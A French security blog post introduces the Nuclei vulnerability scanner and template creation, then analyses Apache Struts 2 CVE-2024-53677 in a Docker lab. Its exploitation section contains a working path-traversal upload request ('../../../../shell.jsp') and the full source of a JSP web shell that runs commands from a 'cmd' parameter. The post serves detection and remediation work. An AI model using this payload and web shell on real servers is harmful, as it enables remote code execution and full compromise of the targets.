top of page
Photo du rédacteurLoïc Castel

La création de template Nuclei - un exemple avec la vulnérabilité Struts 2 CVE-2024-53677

Dans cet article du blog Safercy, nous avons souhaité documenter à la fois le logiciel open source Nuclei et la création de “templates” spécifiques, ainsi qu’un cas concret de vulnérabilité sur la solution Apache Struts 2 (Apache Struts est un framework libre servant au développement d'applications web Java EE.), la vulnérabilité CVE-2024-53677.


Cet article est séparé en deux parties :

  • La première partie (cet article) couvre l’introduction de Nuclei et du système de templates, ainsi que la compréhension détaillée de la faille CVE-2024-53677.

  • La seconde partie couvre la création du template lié à la découverte et confirmation de la faille en question.


Mais commençons par introduire la solution de scan de vulnérabilité Nuclei.


Nuclei, c'est quoi ?

Nuclei est un scanner de vulnérabilités rapide et personnalisable, largement utilisé dans le domaine de la cybersécurité. Il permet d’automatiser la détection de failles en utilisant des templates définis par l’utilisateur.

Grâce à sa flexibilité, Nuclei peut analyser divers protocoles tels que HTTP, DNS, TCP, etc., et identifier des vulnérabilités spécifiques ou des configurations erronées.


Nuclei est un projet open-source, disponible via Github, et développé principalement en Golang.


Intégration dans SaferScan

Chez Safercy, nous avons intégré Nuclei dans notre solution de scan managé, Saferscan.


Cette intégration nous permet d’offrir à nos clients une détection rapide et précise des vulnérabilités, tout en bénéficiant de la richesse des templates communautaires et de la possibilité de créer des templates personnalisés adaptés à leurs besoins spécifiques.


Comment installer Nuclei ?

Pour installer Nuclei, les étapes suivantes sont nécessaires :

  • Prérequis : Assurez-vous d’avoir Go installé sur votre système.

  • Installation : Exécutez la commande suivante :

  • Vérification : Confirmez l’installation en exécutant :

nuclei -version
  • Mise à jour des templates : Téléchargez les templates officiels avec :

nuclei -update-templates

Pour plus de détails, consultez la documentation officielle de Nuclei à l’adresse https://docs.projectdiscovery.io/tools/nuclei/install.

Capture d'écran de Nuclei

Nuclei est également disponible en version SaaS accessible à l’adresse https://cloud.projectdiscovery.io/sign-up.

Extrait de la vidéo disponible sur le site de ProjectDiscovery (https://www.youtube.com/watch?v=rw26bRrg4-U&t=1s)

Nous vous recommandons de le faire tourner dans un conteneur ou une machine virtuelle dédiée afin de pouvoir gérer plus facilement sa maintenance et sauvegarder l’état de l’environnement.


Les templates Nuclei

C’est quoi un template Nuclei ?

Un template Nuclei est un fichier YAML qui définit un test spécifique pour une vulnérabilité ou une configuration particulière. Il décrit les requêtes à envoyer, les conditions à vérifier et les actions à entreprendre en fonction des réponses reçues.

Pour faire un parallèle avec Nessus/OpenVAS, ce sont l’équivalent des plugins. Nuclei est fourni par défaut avec un ensemble de templates accessibles via le dépôt officiel à l’adresse https://github.com/projectdiscovery/nuclei-templates.


Pourquoi créer un template ?

Créer des templates personnalisés permet de détecter des vulnérabilités spécifiques à votre environnement ou des failles récemment découvertes qui ne sont pas encore couvertes par les templates officiels. Cela renforce la sécurité en ciblant précisément les risques pertinents pour votre organisation, ou vous permet d’automatiser les vérifications de vulnérabilité suite à la découverte de vos propres failles.


Où vont les templates une fois créés ?

Une fois créés, vous pouvez soumettre vos templates à la communauté en effectuant une pull request sur le dépôt officiel des templates Nuclei : https://github.com/projectdiscovery/nuclei-templates.

Cela permet de partager vos contributions avec d’autres professionnels de la cybersécurité et d’enrichir la base de connaissances collective.

Exemple d'éditeur de template disponible sur la version SaaS

On peut par ailleurs créer un template avec un éditeur à cette adresse :



Cas d’étude, la vulnérabilité Struts 2

Dans cette partie, nous étudions la vulnérabilité Struts 2 intitulée “CVE-2024-53677”, et correspondant à un envoi de fichier arbitraire (arbitrary file upload).

Comprendre la vulnérabilité - arbitrary file upload

La vulnérabilité CVE-2024-53677 affecte Apache Struts 2, une plateforme populaire pour le développement d’applications web en Java. Cette faille permet à un attaquant de manipuler les paramètres de téléchargement de fichiers pour effectuer une traversée de répertoires, conduisant potentiellement à l’exécution de code à distance.


La date de publication de la vulnérabilité est le 11 décembre 2024.


Versions impactées

  • Struts 2.0.0 à 2.3.37 (fin de vie)

  • Struts 2.5.0 à 2.5.33

  • Struts 6.0.0 à 6.3.0.2


Impact

  • Téléchargement de fichiers malveillants

  • Exécution de code à distance

  • Compromission complète du système


Exploitation active

Des rapports indiquent que cette vulnérabilité est activement exploitée par des acteurs malveillants.

Un code d’exploitation public est disponible, augmentant le risque pour les systèmes non corrigés d’être exploités.


Correction / remédiation

La mise à jour est le moyen recommandé de patcher cette vulnérabilité. Cependant, et en raison du passif lié à cette vulnérabilité (souvenez-vous de la vulnérabilité CVE-2023-50164 très similaire à celle que nous étudions dans cet article), des mesures d’atténuation (workarounds) sont à envisager.


Mise à jour

Il est fortement recommandé de mettre à jour vers Apache Struts version 6.4.0 ou supérieure et de migrer vers le nouveau mécanisme de téléchargement de fichiers.


Mesures d’atténuation

  • Désactiver les fonctionnalités de téléchargement de fichiers non essentielles

  • Mettre en place des contrôles stricts sur les types de fichiers autorisés

  • Surveiller les journaux pour détecter des activités suspectes


Analyse détaillée de la vulnérabilité Struts 2 (CVE-2024-53677)

Avant de créer un template Nuclei pour vérifier l’existence de cette vulnérabilité, ce que nous décrirons dans la seconde partie de cet article, nous allons d’abord analyser en détail la vulnérabilité afin de la reproduire.

Pour tester activement la vulnérabilité, nous pouvons adapter le PoC existant en un template Nuclei.

Créer un environnement vulnérable

Pour reproduire et tester cette vulnérabilité, un environnement vulnérable doit être mis en place. Le moyen le plus simple est d’utiliser un conteneur Docker configuré pour simuler une application Apache Struts vulnérable.


Un dépôt Github a été identifié : https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker. Bien que conçu pour CVE-2023-50164, ce conteneur est similaire et peut être adapté pour CVE-2024-53677.


Utilisation d’une image Docker existante :

git clone <https://github.com/c4oocO/CVE-2024-53677-Docker>
cd CVE-2024-53677-Docker 
docker build --ulimit nofile=122880:122880 -m 3G -t CVE-2024-53677 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name CVE-2024-53677 CVE-2024-53677
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name CVE-2024-53677 CVE-2024-53677

Validation de l’environnement :

  • Vérifiez que le conteneur est accessible et que le endpoint est fonctionnel pour accepter des fichiers.


Analyser le Proof of Concept

Le PoC pour la vulnérabilité CVE-2024-53677 montre une exploitation qui repose sur la manipulation des paramètres de téléchargement de fichiers. L’objectif est d’effectuer un “directory traversal”, permettant à l’attaquant d’écrire un fichier malveillant à un emplacement spécifique, en dehors du dossier initialement prévu pour stocker les fichiers téléchargés.

Voici les points clés du PoC :

Requête POST structurée : La requête POST utilisée par le PoC inclut des en-têtes bien définis et des paramètres ciblés pour exploiter le mécanisme de téléchargement des fichiers.

  • Le paramètre clé top.uploadFileName est manipulé pour tenter une traversée de répertoires et écraser un fichier existant.

  • Le fichier téléchargé contient un contenu inoffensif pour tester si le fichier est écrit avec succès.

Étapes nécessaires pour exploiter :

  • Scanner la cible pour identifier un endpoint valide pour le téléchargement (upload.action dans l’exemple).

  • Envoyer un fichier test via une requête POST et vérifier si le fichier a été écrit et est accessible.


Voici un extrait du PoC :

files = {
"upload": ("test.txt", harmless_content, "text/plain"),
"top.uploadFileName": test_filename  # Tentative d'écrasement de fichier
}

Le script Python exécute ensuite la requête et vérifie si le fichier est accessible, indiquant ainsi la vulnérabilité.

Une fois l’environnement vulnérable en place, exécutez le PoC pour valider la vulnérabilité. Voici les étapes clés :

Commande d’exécution :

Utilisez le script PoC existant pour envoyer un fichier de test au endpoint configuré.

Exemple :

$ python Check-CVE-2024-53677.py -u <http://localhost:8080/upload.action> --upload_endpoint /upload.action

Résultat attendu :

  • Une réponse HTTP 200 indiquant que le fichier a été correctement téléchargé.

  • Un avertissement si le fichier est écrit dans un emplacement non autorisé, confirmant la vulnérabilité.

Exemple de log généré par le PoC :

$ python Check-CVE-2024-53677.py -u <http://cve-2024-53677.orb.local/upload.action> --upload_endpoint /upload.action

2024-12-30 16:04:07,865 [INFO] Starting detection process...
2024-12-30 16:04:07,865 [INFO] Starting detection for CVE-2024-53677 (S2-067)...
2024-12-30 16:04:07,865 [INFO] Sending test request to upload endpoint: <http://cve-2024-53677.orb.local/upload.action>
2024-12-30 16:04:07,902 [INFO] [INFO] File upload request succeeded.
2024-12-30 16:04:07,902 [WARNING] [ALERT] File name overwrite detected. Target may be vulnerable!
2024-12-30 16:04:07,902 [INFO] Detection process completed.

Reproduire et exploiter la vulnérabilité

Pour reproduire la vulnérabilité et tester son impact manuellement, suivez ces étapes (dans nos exemples, nous avons utilisé le proxy BurpSuite de Portswigger) :

Préparation de la requête POST :

Configurez une requête POST avec les paramètres et le corps de requête nécessaires. Exemple d’en-têtes :

POST /upload.action HTTP/1.1
[..]
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary982jlh8wv0ld4s2b
Content-Length: 338

------WebKitFormBoundary982jlh8wv0ld4s2b
Content-Disposition: form-data; name="Upload"; filename="shell.jsp"
Content-Type: text/plain

S2-067 detection test.
------WebKitFormBoundary982jlh8wv0ld4s2b
Content-Disposition: form-data; name="top.uploadFileName"

../../../../shell.jsp

Contenu du fichier envoyé :

Créez un fichier malveillant avec du code JSP permettant une exécution de commandes, et remplacez S2-067 detection test. par son contenu :

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p;
        try {
            p = Runtime.getRuntime().exec(cmd);
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(in);
            BufferedReader br = new BufferedReader(isr);
            String line;
            while ((line = br.readLine()) != null) {
                out.println(line + "<br>");
            }
        } catch (Exception e) {
            out.println("Error: " + e.getMessage());
        }
    } else {
        out.println("No command provided. Use '?cmd=<command>' to execute a command.");
    }
%>

Dans notre fenêtre Burp Suite, cela donne la requête et la réponse suivante :

Utilisation de Burp suite pour exploiter la faille manuellement

Validation du fichier téléchargé :

Vérifiez si le fichier a été écrit et est accessible via une URL publique. Exemple de test :

Exploitation réussie :

Si le fichier est accessible et exécute les commandes, la vulnérabilité est confirmée.


En suivant ces étapes, vous aurez une compréhension complète de la vulnérabilité CVE-2024-53677 et serez capable de créer des outils adaptés pour sa détection et sa remédiation. L'étape suivante, couverte dans un second article, sera la création d'un template Nuclei destiné à détecter la présence de cette vulnérabilité.


Conclusion

La création d'un composant de scanner Nuclei pour la CVE-2024-53677 illustre parfaitement l'importance d'avoir des outils de détection personnalisés et efficaces. Cette approche permet aux entreprises de détecter rapidement les vulnérabilités critiques et de prendre les mesures nécessaires pour protéger leurs systèmes.


Dans une seconde partie, nous verrons en détail le processus technique de création du template Nuclei, en réutilisant l’exemple de cette faille Struts 2.

47 vues0 commentaire

Posts récents

Voir tout

Comments


bottom of page